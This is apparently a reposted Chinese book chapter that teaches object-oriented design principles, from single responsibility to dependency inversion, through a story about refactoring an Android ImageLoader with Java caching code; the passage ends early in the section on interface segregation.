精华内容
下载资源
问答
  • 面向对象六大原则

    万次阅读 多人点赞 2015-11-30 00:10:44
    本文出自《Android源码设计模式解析与实战》中的第一章。 1、优化代码的第一步——单一职责原则单一职责原则的英文名称是...就像秦小波老师《设计模式之禅》中说的:“这是一个备受争议却又及其重要的原则。只要你

    1、优化代码的第一步——单一职责原则

    单一职责原则的英文名称是Single Responsibility Principle,简称SRP。它的定义是:就一个类而言,应该仅有一个引起它变化的原因。简单来说,一个类中应该是一组相关性很高的函数、数据的封装。就像秦小波老师在《设计模式之禅》中说的:“这是一个备受争议却又及其重要的原则。只要你想和别人争执、怄气或者是吵架,这个原则是屡试不爽的”。因为单一职责的划分界限并不是总是那么清晰,很多时候都是需要靠个人经验来界定。当然,最大的问题就是对职责的定义,什么是类的职责,以及怎么划分类的职责。
    对于计算机技术,通常只单纯地学习理论知识并不能很好地领会其深意,只有自己动手实践,并在实际运用中发现问题、解决问题、思考问题,才能够将知识吸收到自己的脑海中。下面以我的朋友小民的事迹说起。

    自从Android系统发布以来,小民就是Android的铁杆粉丝,于是在大学期间一直保持着对Android的关注,并且利用课余时间做些小项目,锻炼自己的实战能力。毕业后,小民如愿地加入了心仪的公司,并且投入到了他热爱的Android应用开发行业中。将爱好、生活、事业融为一体,小民的第一份工作也算是顺风顺水,一切尽在掌握中。
    在经历过一周的适应期以及熟悉公司的产品、开发规范之后,小民的开发工作就正式开始了。小民的主管是个工作经验丰富的技术专家,对于小民的工作并不是很满意,尤其小民最薄弱的面向对象设计,而Android开发又是使用Java语言,什么抽象、接口、六大原则、23种设计模式等名词把小民弄得晕头转向。小民自己也察觉到了自己的问题所在,于是,小民的主管决定先让小民做一个小项目来锻炼锻炼这方面的能力。正所谓养兵千日用兵一时,磨刀不误砍柴工,小民的开发之路才刚刚开始。

    在经过一番思考之后,主管挑选了使用范围广、难度也适中的ImageLoader(图片加载)作为小民的训练项目。既然要训练小民的面向对象设计,那么就必须考虑到可扩展性、灵活性,而检测这一切是否符合需求的最好途径就是开源。用户不断地提出需求、反馈问题,小民的项目需要不断升级以满足用户需求,并且要保证系统的稳定性、灵活性。在主管跟小民说了这一特殊任务之后,小民第一次感到了压力,“生活不容易呐!”年仅22岁至今未婚的小民发出了如此深刻的感叹!

    挑战总是要面对的,何况是从来不服输的小民。主管的要求很简单,要小民实现图片加载,并且要将图片缓存起来。在分析了需求之后,小民一下就放心下来了,“这么简单,原来我还以为很难呢……”小民胸有成足的喃喃自语。在经历了十分钟的编码之后,小民写下了如下代码:

    /**
     * 图片加载类
     */
    public class ImageLoader {
        // 图片缓存
        LruCache<String, Bitmap> mImageCache;
        // 线程池,线程数量为CPU的数量
        ExecutorService mExecutorService = Executors.newFixedThreadPool (Runtime.getRuntime().availableProcessors());
    
        public ImageLoader() {
            initImageCache();
        }
    
        private void initImageCache() {
                // 计算可使用的最大内存
            final int maxMemory = (int) (Runtime.getRuntime().maxMemory() / 1024);
                // 取四分之一的可用内存作为缓存
            final int cacheSize = maxMemory / 4;
            mImageCache = new LruCache<String, Bitmap>(cacheSize) {
    
                @Override
                protected int sizeOf(String key, Bitmap bitmap) {
                    return bitmap.getRowBytes() * bitmap.getHeight() / 1024;
                }
            };
        }                   
    
        public  void displayImage(final String url, final ImageView imageView) {
            imageView.setTag(url);
            mExecutorService.submit(new Runnable() {
    
               @Override
                public  void run() {
                  Bitmap bitmap = downloadImage(url);
                    if (bitmap == null) {
                        return;
                    }
                    if (imageView.getTag().equals(url)) {
                        imageView.setImageBitmap(bitmap);
                    }
                    mImageCache.put(url, bitmap);
              }
           });
        }
    
        public  Bitmap downloadImage(String imageUrl) {
            Bitmap bitmap = null;
            try {
                URL url = newURL(imageUrl);
                final HttpURLConnection conn =         
                    (HttpURLConnection)url.openConnection();
                bitmap = BitmapFactory.decodeStream(
                      conn.getInputStream());
                conn.disconnect();
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            return bitmap;
        }
    }

    并且使用git软件进行版本控制,将工程托管到github上,伴随着git push命令的完成,小民的ImageLoader 0.1版本就正式发布了!如此短的时间内就完成了这个任务,而且还是一个开源项目,小民暗暗自喜,幻想着待会儿主管的称赞。

    在小民给主管报告了ImageLoader的发布消息的几分钟之后,主管就把小民叫到了会议室。这下小民纳闷了,怎么夸人还需要到会议室。“小民,你的ImageLoader耦合太严重啦!简直就没有设计可言,更不要说扩展性、灵活性了。所有的功能都写在一个类里怎么行呢,这样随着功能的增多,ImageLoader类会越来越大,代码也越来越复杂,图片加载系统就越来越脆弱……”Duang,这简直就是当头棒喝,小民的脑海里已经听不清主管下面说的内容了,只是觉得自己之前没有考虑清楚就匆匆忙忙完成任务,而且把任务想得太简单了。

    “你还是把ImageLoader拆分一下,把各个功能独立出来,让它们满足单一职责原则。”主管最后说道。小民是个聪明人,敏锐地捕捉到了单一职责原则这个关键词。用Google搜索了一些优秀资料之后总算是对单一职责原则有了一些认识。于是打算对ImageLoader进行一次重构。这次小民不敢过于草率,也是先画了一幅UML图,如图1-1所示。

    图1-1

    ImageLoader代码修改如下所示:

    /**
     * 图片加载类
     */
    public  class ImageLoader {
        // 图片缓存
        ImageCache mImageCache = new ImageCache() ;
        // 线程池,线程数量为CPU的数量
        ExecutorService mExecutorService = Executors.newFixedThreadPool (Runtime.getRuntime().availableProcessors());
    
        // 加载图片
        public  void displayImage(final String url, final ImageView imageView) {
            Bitmap bitmap = mImageCache.get(url);
            if (bitmap != null) {
                imageView.setImageBitmap(bitmap);
                return;
            }
            imageView.setTag(url);
            mExecutorService.submit(new Runnable() {
    
                @Override
                public void run() {
                Bitmap bitmap = downloadImage(url);
                    if (bitmap == null) {
                        return;
                    }
                    if (imageView.getTag().equals(url)) {
                        imageView.setImageBitmap(bitmap);
                    }
                    mImageCache.put(url, bitmap);
                }
            });
         }
    
        public  Bitmap downloadImage(String imageUrl) {
            Bitmap bitmap = null;
            try {
                URL url = new URL(imageUrl);
                final HttpURLConnection conn = 
                (HttpURLConnection) 
                            url.openConnection();
                bitmap = BitmapFactory.decodeStream(conn.getInputStream());
                conn.disconnect();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return bitmap;
        }
    }   

    并且添加了一个ImageCache类用于处理图片缓存,具体代码如下:

    public class ImageCache {
        // 图片LRU缓存
        LruCache<String, Bitmap> mImageCache;
    
        public ImageCache() {
            initImageCache();
        }
    
        private void initImageCache() {
             // 计算可使用的最大内存
            final int maxMemory = (int) (Runtime.getRuntime().maxMemory() / 1024);
            // 取四分之一的可用内存作为缓存
            final int cacheSize = maxMemory / 4;
            mImageCache = new LruCache<String, Bitmap>(cacheSize) {
    
                @Override
                protected int sizeOf(String key, Bitmap bitmap) {
                    return bitmap.getRowBytes() *  
                        bitmap.getHeight() / 1024;
               }
            };
         }
    
        public void put(String url, Bitmap bitmap) {
            mImageCache.put(url, bitmap) ;
        }
    
        public Bitmap get(String url) {
            return mImageCache.get(url) ;
        }
    }

    如图1-1和上述代码所示,小民将ImageLoader一拆为二,ImageLoader只负责图片加载的逻辑,而ImageCache只负责处理图片缓存的逻辑,这样ImageLoader的代码量变少了,职责也清晰了,当与缓存相关的逻辑需要改变时,不需要修改ImageLoader类,而图片加载的逻辑需要修改时也不会影响到缓存处理逻辑。主管在审核了小民的第一次重构之后,对小民的工作给予了表扬,大致意思是结构变得清晰了许多,但是可扩展性还是比较欠缺,虽然没有得到主管的完全肯定,但也是颇有进步,再考虑到自己确实有所收获,小民原本沮丧的心里也略微地好转起来。

    从上述的例子中我们能够体会到,单一职责所表达出的用意就是“单一”二字。正如上文所说,如何划分一个类、一个函数的职责,每个人都有自己的看法,这需要根据个人经验、具体的业务逻辑而定。但是,它也有一些基本的指导原则,例如,两个完全不一样的功能就不应该放在一个类中。一个类中应该是一组相关性很高的函数、数据的封装。工程师可以不断地审视自己的代码,根据具体的业务、功能对类进行相应的拆分,我想这会是你优化代码迈出的第一步。

    2、让程序更稳定、更灵活——开闭原则

    开闭原则的英文全称是Open Close Principle,简称OCP,它是Java世界里最基础的设计原则,它指导我们如何建立一个稳定的、灵活的系统。开闭原则的定义是:软件中的对象(类、模块、函数等)应该对于扩展是开放的,但是,对于修改是封闭的。在软件的生命周期内,因为变化、升级和维护等原因需要对软件原有代码进行修改时,可能会将错误引入原本已经经过测试的旧代码中,破坏原有系统。因此,当软件需要变化时,我们应该尽量通过扩展的方式来实现变化,而不是通过修改已有的代码来实现。当然,在现实开发中,只通过继承的方式来升级、维护原有系统只是一个理想化的愿景,因此,在实际的开发过程中,修改原有代码、扩展代码往往是同时存在的。

    软件开发过程中,最不会变化的就是变化本身。产品需要不断地升级、维护,没有一个产品从第一版本开发完就再没有变化了,除非在下个版本诞生之前它已经被终止。而产品需要升级,修改原来的代码就可能会引发其他的问题。那么如何确保原有软件模块的正确性,以及尽量少地影响原有模块,答案就是尽量遵守本章要讲述的开闭原则。

    勃兰特·梅耶在1988年出版的《面向对象软件构造》一书中提出这一原则。这一想法认为,一旦完成,一个类的实现只应该因错误而被修改,新的或者改变的特性应该通过新建不同的类实现。新建的类可以通过继承的方式来重用原类的代码。显然,梅耶的定义提倡实现继承,已存在的实现对于修改是封闭的,但是新的实现类可以通过覆写父类的接口应对变化。
    说了这么多,想必大家还是半懂不懂,还是让我们以一个简单示例说明一下吧。

    在对ImageLoader进行了一次重构之后,小民的这个开源库获得了一些用户。小民第一次感受到自己发明“轮子”的快感,对开源的热情也越发高涨起来!通过动手实现一些开源库来深入学习相关技术,不仅能够提升自我,也能更好地将这些技术运用到工作中,从而开发出更稳定、优秀的应用,这就是小民的真实想法。

    小民第一轮重构之后的ImageLoader职责单一、结构清晰,不仅获得了主管的一点肯定,还得到了用户的夸奖,算是个不错的开始。随着用户的增多,有些问题也暴露出来了,小民的缓存系统就是大家“吐槽”最多的地方。通过内存缓存解决了每次从网络加载图片的问题,但是,Android应用的内存很有限,且具有易失性,即当应用重新启动之后,原来已经加载过的图片将会丢失,这样重启之后就需要重新下载!这又会导致加载缓慢、耗费用户流量的问题。小民考虑引入SD卡缓存,这样下载过的图片就会缓存到本地,即使重启应用也不需要重新下载了!小民在和主管讨论了该问题之后就投入了编程中,下面就是小民的代码。
    DiskCache.java类,将图片缓存到SD卡中:

    public class DiskCache {
        // 为了简单起见临时写个路径,在开发中请避免这种写法 !
        static String cacheDir = "sdcard/cache/";
         // 从缓存中获取图片
        public Bitmap get(String url) {
            return BitmapFactory.decodeFile(cacheDir + url);
        }
    
        // 将图片缓存到内存中
        public  void  put(String url, Bitmap bmp) {
           FileOutputStream fileOutputStream = null;
            try {
                fileOutputStream = new 
                     FileOutputStream(cacheDir + url);
                bmp.compress(CompressFormat.PNG, 
                     100, fileOutputStream);
          } catch (FileNotFoundException e) {
                e.printStackTrace();
          } final ly {
                if (fileOutputStream != null) {
                    try {
                        fileOutputStream.close();
                  } catch (IOException e) {
                        e.printStackTrace();
                 }
              }
          }
        }
    }

    因为需要将图片缓存到SD卡中,所以,ImageLoader代码有所更新,具体代码如下:

    public class ImageLoader {
        // 内存缓存
        ImageCache mImageCache = new ImageCache();
        // SD卡缓存
        DiskCache mDiskCache = new DiskCache();
        // 是否使用SD卡缓存
        boolean isUseDiskCache = false;
        // 线程池,线程数量为CPU的数量
        ExecutorService mExecutorService = Executors.newFixedThreadPool (Runtime.getRuntime().availableProcessors());
    
    
        public  void displayImage(final String url, final ImageView imageView) {
            // 判断使用哪种缓存
           Bitmap bitmap = isUseDiskCache ? mDiskCache.get(url) 
                    : mImageCache.get (url);
            if (bitmap != null) {
                imageView.setImageBitmap(bitmap);
                return;
           }
            // 没有缓存,则提交给线程池进行下载
        }
    
        public void useDiskCache(boolean useDiskCache) {
            isUseDiskCache = useDiskCache ;
        }
    }

    从上述的代码中可以看到,仅仅新增了一个DiskCache类和往ImageLoader类中加入了少量代码就添加了SD卡缓存的功能,用户可以通过useDiskCache方法来对使用哪种缓存进行设置,例如:

    ImageLoader imageLoader = new ImageLoader() ;
     // 使用SD卡缓存
    imageLoader.useDiskCache(true);
    // 使用内存缓存
    imageLoader.useDiskCache(false);

    通过useDiskCache方法可以让用户设置不同的缓存,非常方便啊!小民对此很满意,于是提交给主管做代码审核。“小民,你思路是对的,但是有些明显的问题,就是使用内存缓存时用户就不能使用SD卡缓存,类似的,使用SD卡缓存时用户就不能使用内存缓存。用户需要这两种策略的综合,首先缓存优先使用内存缓存,如果内存缓存没有图片再使用SD卡缓存,如果SD卡中也没有图片最后才从网络上获取,这才是最好的缓存策略。”主管真是一针见血,小民这时才如梦初醒,刚才还得意洋洋的脸上突然有些泛红……
    于是小民按照主管的指点新建了一个双缓存类DoudleCache,具体代码如下:

    /**
     * 双缓存。获取图片时先从内存缓存中获取,如果内存中没有缓存该图片,再从SD卡中获取。
     *  缓存图片也是在内存和SD卡中都缓存一份
     */
    public class DoubleCache {
        ImageCache mMemoryCache = new ImageCache();
        DiskCache mDiskCache = new DiskCache();
    
        // 先从内存缓存中获取图片,如果没有,再从SD卡中获取
        public   Bitmap get(String url) {
           Bitmap bitmap = mMemoryCache.get(url);
            if (bitmap == null) {
                bitmap = mDiskCache.get(url);
            }
            return  bitmap;
        }
    
        // 将图片缓存到内存和SD卡中
        public void put(String url, Bitmap bmp) {
            mMemoryCache.put(url, bmp);
            mDiskCache.put(url, bmp);
       }
    }

    我们再看看最新的ImageLoader类吧,代码更新也不多:

    public class ImageLoader {
        // 内存缓存
        ImageCache mImageCache = new ImageCache();
        // SD卡缓存
        DiskCache mDiskCache = new DiskCache();
        // 双缓存
        DoubleCache mDoubleCache = new DoubleCache() ;
        // 使用SD卡缓存
        boolean isUseDiskCache = false;
        // 使用双缓存
        boolean isUseDoubleCache = false;
        // 线程池,线程数量为CPU的数量
        ExecutorService mExecutorService = Executors.newFixedThreadPool (Runtime.getRuntime().availableProcessors());
    
    
        public void displayImage(final String url, final ImageView imageView) {
            Bitmap bmp = null;
             if (isUseDoubleCache) {
                bmp = mDoubleCache.get(url);
            } else if (isUseDiskCache) {
                bmp = mDiskCache.get(url);
            } else {
                bmp = mImageCache.get(url);
            }
    
             if ( bmp != null ) {
                imageView.setImageBitmap(bmp);
            }
            // 没有缓存,则提交给线程池进行异步下载图片
        }
    
        public void useDiskCache(boolean useDiskCache) {
            isUseDiskCache = useDiskCache ;
        }
    
        public void useDoubleCache(boolean useDoubleCache) {
            isUseDoubleCache = useDoubleCache ;
        }
    }

    通过增加短短几句代码和几处修改就完成了如此重要的功能。小民已越发觉得自己Android开发已经到了的得心应手的境地,不仅感觉一阵春风袭来,他那飘逸的头发一下从他的眼前拂过,小民感觉今天天空比往常敞亮许多。

    “小民,你每次加新的缓存方法时都要修改原来的代码,这样很可能会引入Bug,而且会使原来的代码逻辑变得越来越复杂,按照你这样的方法实现,用户也不能自定义缓存实现呀!”到底是主管水平高,一语道出了小民这缓存设计上的问题。

    我们还是来分析一下小民的程序,小民每次在程序中加入新的缓存实现时都需要修改ImageLoader类,然后通过一个布尔变量来让用户使用哪种缓存,因此,就使得在ImageLoader中存在各种if-else判断,通过这些判断来确定使用哪种缓存。随着这些逻辑的引入,代码变得越来越复杂、脆弱,如果小民一不小心写错了某个if条件(条件太多,这是很容易出现的),那就需要更多的时间来排除。整个ImageLoader类也会变得越来越臃肿。最重要的是用户不能自己实现缓存注入到ImageLoader中,可扩展性可是框架的最重要特性之一。

    “软件中的对象(类、模块、函数等)应该对于扩展是开放的,但是对于修改是封闭的,这就是开放-关闭原则。也就是说,当软件需要变化时,我们应该尽量通过扩展的方式来实现变化,而不是通过修改已有的代码来实现。”小民的主管补充到,小民听得云里雾里的。主管看小民这等反应,于是亲自“操刀”,为他画下了如图1-2的UML图。


    图1-2

    小民看到图1-2似乎明白些什么,但是又不是太明确如何修改程序。主管看到小民这般模样只好亲自上阵,带着小民把ImageLoader程序按照图1-2进行了一次重构。具体代码如下:

    public class ImageLoader {
        // 图片缓存
        ImageCache mImageCache = new MemoryCache();
        // 线程池,线程数量为CPU的数量
        ExecutorService mExecutorService = Executors.newFixedThreadPool (Runtime.getRuntime().availableProcessors());
    
        // 注入缓存实现
        public void setImageCache(ImageCache cache) {
            mImageCache = cache;
        }
    
        public void displayImage(String imageUrl, ImageView imageView) {
            Bitmap bitmap = mImageCache.get(imageUrl);
            if (bitmap != null) {
                imageView.setImageBitmap(bitmap);
                return;
            }
            // 图片没缓存,提交到线程池中下载图片
            submitLoadRequest(imageUrl, imageView);
        }
    
        private void submitLoadRequest(final String imageUrl,
                 final ImageView imageView) {
            imageView.setTag(imageUrl);
            mExecutorService.submit(new Runnable() {
    
                @Override
                public  void run() {
                  Bitmap bitmap = downloadImage(imageUrl);
                    if (bitmap == null) {
                        return;
                 }
                   if (imageView.getTag().equals(imageUrl)) {
                        imageView.setImageBitmap(bitmap);
                 }
                    mImageCache.put(imageUrl, bitmap);
             }
          });
        }
    
        public  Bitmap downloadImage(String imageUrl) {
           Bitmap bitmap = null;
            try {
               URL url = new URL(imageUrl);
                final HttpURLConnection conn = (HttpURLConnection) 
                            url.openConnection();
                bitmap = BitmapFactory.decodeStream(conn.getInputStream());
                conn.disconnect();
            } catch (Exception e) {
                  e.printStackTrace();
            }
    
            return bitmap;
        }
    }

    经过这次重构,没有了那么多的if-else语句,没有了各种各样的缓存实现对象、布尔变量,代码确实清晰、简单了很多,小民对主管的崇敬之情又“泛滥”了起来。需要注意的是,这里的ImageCache类并不是小民原来的那个ImageCache,这次程序重构主管把它提取成一个图片缓存的接口,用来抽象图片缓存的功能。我们看看该接口的声明:

    public interface ImageCache {
        public Bitmap get(String url);
        public void put(String url, Bitmap bmp);
    }

    ImageCache接口简单定义了获取、缓存图片两个函数,缓存的key是图片的url,值是图片本身。内存缓存、SD卡缓存、双缓存都实现了该接口,我们看看这几个缓存实现:

    // 内存缓存MemoryCache类
    public class MemoryCache implements ImageCache {
        private LruCache<String, Bitmap> mMemeryCache;
    
        public MemoryCache() {
            // 初始化LRU缓存
        }
    
         @Override
        public Bitmap get(String url) {
            return mMemeryCache.get(url);
        }
    
        @Override
        public void put(String url, Bitmap bmp) {
            mMemeryCache.put(url, bmp);
        }
    }
    
    // SD卡缓存DiskCache类
    public  class  DiskCache implements ImageCache {
        @Override
        public Bitmap get(String url) {
            return null/* 从本地文件中获取该图片 */;
        }
    
        @Override
        public void put(String url, Bitmap bmp) {
            // 将Bitmap写入文件中
        }
    }
    
    // 双缓存DoubleCache类
    public class DoubleCache implements ImageCache{
        ImageCache mMemoryCache = new MemoryCache();
        ImageCache mDiskCache = new DiskCache();
    
        // 先从内存缓存中获取图片,如果没有,再从SD卡中获取
        public Bitmap get(String url) {
           Bitmap bitmap = mMemoryCache.get(url);
            if (bitmap == null) {
                bitmap = mDiskCache.get(url);
           }
            return bitmap;
         }
    
        // 将图片缓存到内存和SD卡中
        public void put(String url, Bitmap bmp) {
            mMemoryCache.put(url, bmp);
            mDiskCache.put(url, bmp);
        }
    }

    细心的朋友可能注意到了,ImageLoader类中增加了一个setImageCache(ImageCache cache)函数,用户可以通过该函数设置缓存实现,也就是通常说的依赖注入。下面就看看用户是如何设置缓存实现的:

    ImageLoader imageLoader = new ImageLoader() ;
            // 使用内存缓存
    imageLoader.setImageCache(new MemoryCache());
            // 使用SD卡缓存
    imageLoader.setImageCache(new DiskCache());
            // 使用双缓存
    imageLoader.setImageCache(new DoubleCache());
            // 使用自定义的图片缓存实现
    imageLoader.setImageCache(new ImageCache() {
    
                @Override
            public void put(String url, Bitmap bmp) {
                // 缓存图片
           }
    
                @Override
            public Bitmap get(String url) {
                return null/*从缓存中获取图片*/;
           }
        });

    在上述代码中,通过setImageCache(ImageCache cache)方法注入不同的缓存实现,这样不仅能够使ImageLoader更简单、健壮,也使得ImageLoader的可扩展性、灵活性更高。MemoryCache、DiskCache、DoubleCache缓存图片的具体实现完全不一样,但是,它们的一个特点是都实现了ImageCache接口。当用户需要自定义实现缓存策略时,只需要新建一个实现ImageCache接口的类,然后构造该类的对象,并且通过setImageCache(ImageCache cache)注入到ImageLoader中,这样ImageLoader就实现了变化万千的缓存策略,而扩展这些缓存策略并不会导致ImageLoader类的修改。经过这次重构,小民的ImageLoader已经基本算合格了。咦!这不就是主管说的开闭原则么!“软件中的对象(类、模块、函数等)应该对于扩展是开放的,但是对于修改是封闭的。而遵循开闭原则的重要手段应该是通过抽象……”小民细声细语的念叨中,陷入了思索中……

    开闭原则指导我们,当软件需要变化时,应该尽量通过扩展的方式来实现变化,而不是通过修改已有的代码来实现。这里的“应该尽量”4个字说明OCP原则并不是说绝对不可以修改原始类的,当我们嗅到原来的代码“腐化气味”时,应该尽早地重构,以使得代码恢复到正常的“进化”轨道,而不是通过继承等方式添加新的实现,这会导致类型的膨胀以及历史遗留代码的冗余。我们的开发过程中也没有那么理想化的状况,完全地不用修改原来的代码,因此,在开发过程中需要自己结合具体情况进行考量,是通过修改旧代码还是通过继承使得软件系统更稳定、更灵活,在保证去除“代码腐化”的同时,也保证原有模块的正确性。

    3、构建扩展性更好的系统——里氏替换原则

    里氏替换原则英文全称是Liskov Substitution Principle,简称LSP。它的第一种定义是:如果对每一个类型为S的对象o1,都有类型为T的对象o2,使得以T定义的所有程序P在所有的对象o1都代换成o2时,程序P的行为没有发生变化,那么类型S是类型T的子类型。上面这种描述确实不太好理解,理论家有时候容易把问题抽象化,本来挺容易理解的事让他们一概括就弄得拗口了。我们再看看另一个直截了当的定义。里氏替换原则第二种定义:所有引用基类的地方必须能透明地使用其子类的对象。

    我们知道,面向对象的语言的三大特点是继承、封装、多态,里氏替换原则就是依赖于继承、多态这两大特性。里氏替换原则简单来说就是,所有引用基类的地方必须能透明地使用其子类的对象。通俗点讲,只要父类能出现的地方子类就可以出现,而且替换为子类也不会产生任何错误或异常,使用者可能根本就不需要知道是父类还是子类。但是,反过来就不行了,有子类出现的地方,父类未必就能适应。说了那么多,其实最终总结就两个字:抽象。
    小民为了深入地了解Android中的Window与View的关系特意写了一个简单示例,为了便于理解,我们先看如图1-3所示。

    ▲图1-3

    我们看看具体的代码:

    // 窗口类
    public class Window {
        public void show(View child){
            child.draw();
        }
    }
    
    // 建立视图抽象,测量视图的宽高为公用代码,绘制交给具体的子类
    public abstract class  View {
        public abstract void  draw() ;
        public void  measure(int width, int height){
            // 测量视图大小
        }
    }
    
    // 按钮类的具体实现
    public class Button extends View {
        public void draw(){
            // 绘制按钮
        }
    }
    // TextView的具体实现
    public class TextView extends View {
        public void draw(){
            // 绘制文本
        }
    }

    上述示例中,Window依赖于View,而View定义了一个视图抽象,measure是各个子类共享的方法,子类通过覆写View的draw方法实现具有各自特色的功能,在这里,这个功能就是绘制自身的内容。任何继承自View类的子类都可以设置给show方法,也就我们所说的里氏替换。通过里氏替换,就可以自定义各式各样、千变万化的View,然后传递给Window,Window负责组织View,并且将View显示到屏幕上。
    里氏替换原则的核心原理是抽象,抽象又依赖于继承这个特性,在OOP当中,继承的优缺点都相当明显。
    优点如下:

    • (1)代码重用,减少创建类的成本,每个子类都拥有父类的方法和属性;
    • (2)子类与父类基本相似,但又与父类有所区别;
    • (3)提高代码的可扩展性。

    继承的缺点:

    • (1)继承是侵入性的,只要继承就必须拥有父类的所有属性和方法;
    • (2)可能造成子类代码冗余、灵活性降低,因为子类必须拥有父类的属性和方法。

    事物总是具有两面性,如何权衡利与弊都是需要根据具体场景来做出选择并加以处理。里氏替换原则指导我们构建扩展性更好的软件系统,我们还是接着上面的ImageLoader来做说明。
    上文的图1-2也很好地反应了里氏替换原则,即MemoryCache、DiskCache、DoubleCache都可以替换ImageCache的工作,并且能够保证行为的正确性。ImageCache建立了获取缓存图片、保存缓存图片的接口规范,MemoryCache等根据接口规范实现了相应的功能,用户只需要在使用时指定具体的缓存对象就可以动态地替换ImageLoader中的缓存策略。这就使得ImageLoader的缓存系统具有了无线的可能性,也就是保证了可扩展性。

    想象一个场景,当ImageLoader中的setImageCache(ImageCache cache)中的cache对象不能够被子类所替换,那么用户如何设置不同的缓存对象以及用户如何自定义自己的缓存实现,通过1.3节中的useDiskCache方法吗?显然不是的,里氏替换原则就为这类问题提供了指导原则,也就是建立抽象,通过抽象建立规范,具体的实现在运行时替换掉抽象,保证系统的高扩展性、灵活性。开闭原则和里氏替换原则往往是生死相依、不弃不离的,通过里氏替换来达到对扩展开放,对修改关闭的效果。然而,这两个原则都同时强调了一个OOP的重要特性——抽象,因此,在开发过程中运用抽象是走向代码优化的重要一步。

    4、 让项目拥有变化的能力——依赖倒置原则

    依赖倒置原则英文全称是Dependence Inversion Principle,简称DIP。依赖反转原则指代了一种特定的解耦形式,使得高层次的模块不依赖于低层次的模块的实现细节的目的,依赖模块被颠倒了。这个概念有点不好理解,这到底是什么意思呢?
    依赖倒置原则的几个关键点:

    • (1)高层模块不应该依赖低层模块,两者都应该依赖其抽象;
    • (2)抽象不应该依赖细节;
    • (3)细节应该依赖抽象。

    在Java语言中,抽象就是指接口或抽象类,两者都是不能直接被实例化的;细节就是实现类,实现接口或继承抽象类而产生的类就是细节,其特点就是,可以直接被实例化,也就是可以加上一个关键字 new 产生一个对象。高层模块就是调用端,低层模块就是具体实现类。依赖倒置原则在 Java 语言中的表现就是:模块间的依赖通过抽象发生,实现类之间不发生直接的依赖关系,其依赖关系是通过接口或抽象类产生的。这又是一个将理论抽象化的实例,其实一句话就可以概括:面向接口编程,或者说是面向抽象编程,这里的抽象指的是接口或者抽象类。面向接口编程是面向对象精髓之一,也就是上面两节强调的抽象。

    如果在类与类直接依赖于细节,那么它们之间就有直接的耦合,当具体实现需要变化时,意味着在这要同时修改依赖者的代码,并且限制了系统的可扩展性。我们看1.3节的图1-3中,ImageLoader直接依赖于MemoryCache,这个MemoryCache是一个具体实现,而不是一个抽象类或者接口。这导致了ImageLoader直接依赖了具体细节,当MemoryCache不能满足ImageLoader而需要被其他缓存实现替换时,此时就必须修改ImageLoader的代码,例如:

    public class ImageLoader {
        // 内存缓存 ( 直接依赖于细节 )
        MemoryCache mMemoryCache = new MemoryCache();
         // 加载图片到ImageView中
        public void displayImage(String url, ImageView imageView) {
           Bitmap bmp = mMemoryCache.get(url);
            if (bmp == null) {
                downloadImage(url, imageView);
            } else {
                imageView.setImageBitmap(bmp);
            }
        }
    
        public void setImageCache(MemoryCache cache) {
            mCache = cache ;
        }
        // 代码省略
    }

    随着产品的升级,用户发现MemoryCache已经不能满足需求,用户需要小民的ImageLoader可以将图片同时缓存到内存和SD卡中,或者可以让用户自定义实现缓存。此时,我们的MemoryCache这个类名不仅不能够表达内存缓存和SD卡缓存的意义,也不能够满足功能。另外,用户需要自定义缓存实现时还必须继承自MemoryCache,而用户的缓存实现可不一定与内存缓存有关,这在命名上的限制也让用户体验不好。重构的时候到了!小民的第一种方案是将MemoryCache修改为DoubleCache,然后在DoubleCache中实现具体的缓存功能。我们需要将ImageLoader修改如下:

    public class ImageLoader {
        // 双缓存 ( 直接依赖于细节 )
        DoubleCache mCache = new DoubleCache();
        // 加载图片到ImageView中
        public void displayImage(String url, ImageView imageView) {
           Bitmap bmp = mCache.get(url);
            if (bmp == null) {
              // 异步下载图片
                downloadImageAsync(url, imageView);
           } else {
                imageView.setImageBitmap(bmp);
           }
        }
    
        public void setImageCache(DoubleCache cache) {
             mCache = cache ;
        }
        // 代码省略
    }

    我们将MemoryCache修改成DoubleCache,然后修改了ImageLoader中缓存类的具体实现,轻轻松松就满足了用户需求。等等!这不还是依赖于具体的实现类(DoubleCache)吗?当用户的需求再次变化时,我们又要通过修改缓存实现类和ImageLoader代码来实现?修改原有代码不是违反了1.3节中的开闭原则吗?小民突然醒悟了过来,低下头思索着如何才能让缓存系统更灵活、拥抱变化……

    当然,这些都是在主管给出图1-2(1.3节)以及相应的代码之前,小民体验的煎熬过程。既然是这样,那显然主管给出的解决方案就能够让缓存系统更加灵活。一句话概括起来就是:依赖抽象,而不依赖具体实现。针对于图片缓存,主管建立的ImageCache抽象,该抽象中增加了get和put方法用以实现图片的存取。每种缓存实现都必须实现这个接口,并且实现自己的存取方法。当用户需要使用不同的缓存实现时,直接通过依赖注入即可,保证了系统的灵活性。我们再来简单回顾一下相关代码:

    ImageCache缓存抽象:

    public interface ImageCache {
        public Bitmap get(String url);
        public void put(String url, Bitmap bmp);
    }

    ImageLoader类:

    public class ImageLoader {
        // 图片缓存类,依赖于抽象,并且有一个默认的实现
        ImageCache mCache = new MemoryCache();
    
        // 加载图片
        public void displayImage(String url, ImageView imageView) {
           Bitmap bmp = mCache.get(url);
            if (bmp == null) {
            // 异步加载图片
                downloadImageAsync(url, imageView);
           } else {
                imageView.setImageBitmap(bmp);
           }
        }
    
        /**
         * 设置缓存策略,依赖于抽象
         */
        public void setImageCache(ImageCache cache) {
            mCache = cache;
        }
        // 代码省略
    }

    在这里,我们建立了ImageCache抽象,并且让ImageLoader依赖于抽象而不是具体细节。当需求发生变更时,小民只需要实现ImageCahce类或者继承其他已有的ImageCache子类完成相应的缓存功能,然后将具体的实现注入到ImageLoader即可实现缓存功能的替换,这就保证了缓存系统的高可扩展性,拥有了拥抱变化的能力,而这一切的基本指导原则就是我们的依赖倒置原则。从上述几节中我们发现,要想让我们的系统更为灵活,抽象似乎成了我们唯一的手段。

    5、系统有更高的灵活性——接口隔离原则

    接口隔离原则英文全称是InterfaceSegregation Principles,简称ISP。它的定义是:客户端不应该依赖它不需要的接口。另一种定义是:类间的依赖关系应该建立在最小的接口上。接口隔离原则将非常庞大、臃肿的接口拆分成为更小的和更具体的接口,这样客户将会只需要知道他们感兴趣的方法。接口隔离原则的目的是系统解开耦合,从而容易重构、更改和重新部署。

